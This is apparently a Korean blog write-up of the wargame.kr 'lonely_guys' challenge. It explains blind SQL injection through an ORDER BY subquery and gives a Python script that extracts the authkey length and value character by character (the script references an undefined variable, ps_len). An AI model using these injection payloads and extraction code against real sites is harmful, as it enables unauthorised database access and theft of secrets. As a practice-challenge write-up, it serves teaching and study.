Blind SQL Injection이니 참/거짓을 판단할 수 있어야 합니다.
소스를 확인해보면 post방식으로 $sort 값을 보내면 해당 $sort값이 ordey by 뒤 부분에 씌어집니다.
또한 update문으로 authkey라는 테이블명과 authkey라는 칼럼명을 알려주기 때문에 쉽게 해결 할 수 있습니다.
문제에서 order by 표현 방식을 알고 있는지 물어봐서 찾아보니
order by를 사용할 때 서브쿼리를 이용해서 참/거짓을 판단할 수 있는 방법이 있었습니다.
order by [COLUMN] 을 하면 COLUMN순으로 정렬을 해줍니다. (기본값 asc)
하지만 order by (select 1 from table) 이렇게 서브쿼리를 사용하면 ERROR가 발생하는데 이 부분에서 Blind SQL Injection을 사용할 수 있습니다.
문제에서 이미 COLUMN이 하나 나와있기 때문에 ,(콤마)를 통해서 구분을 해주고 아래와 같이 서브쿼리를 참으로 되게 만드는 구문을 사용하면
아무것도 표시가 되지 않습니다.
하지만 거짓으로 만들게 되면 정상적으로 표시가 됩니다.
이 부분을 이용해서 authkey를 얻을 수 있습니다.
Python 코드를 이용해서 문제를 해결했습니다,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | import requests def request_len(query): for i in range(0,100): payload = query.format(i) data = {'sort': payload} print (payload) res = requests.post(url, cookies=cookies, data=data) print(res.text) if((res.text).find("chul-su")<0): print("[*] AUTHKEY Length: "+str(i)) return i return -1 def request_value(query, value_len): value='' for i in range(1, value_len+1): for j in range(33,127): payload = query.format(i,j) data = {'sort': payload} print (payload) res = requests.post(url, cookies=cookies, data=data) if((res.text).find("chul-su")<0): value += chr(j) break print("[*] AUTHKEY: "+value) return value if __name__=='__main__': cookies= {'ci_session':'YourSessionValue'} url = 'http://wargame.kr:8080/lonely_guys/' query=", (select 1 from guys_tbl where length((select authkey from authkey))={0})" AUTHKEY_len=request_len(query) if( AUTHKEY_len == -1): exit("AUTHKEY_len code Error") query=", (select 1 from guys_tbl where ascii(substr((select authkey from authkey),{0},1))={1})" AUTHKEY_value=request_value(query, ps_len) if( AUTHKEY_value == '' ): exit("AUTHKEY_value code Error") | cs |
[참고]
SQL INJECTION - ORDER BY:
https://hacktagon.github.io/web/sql_injection/SQL_Injection_mysql_order-by_Persu
'WarGame > wargame.kr' 카테고리의 다른 글
[WarGame] QnA (0) | 2018.11.13 |
---|---|
[WarGame] ip log table (0) | 2018.11.08 |
[WarGame] WTF_CODE (0) | 2018.11.05 |
[WarGame] php? c? (0) | 2018.11.02 |
[WarGame] tmitter (0) | 2018.11.01 |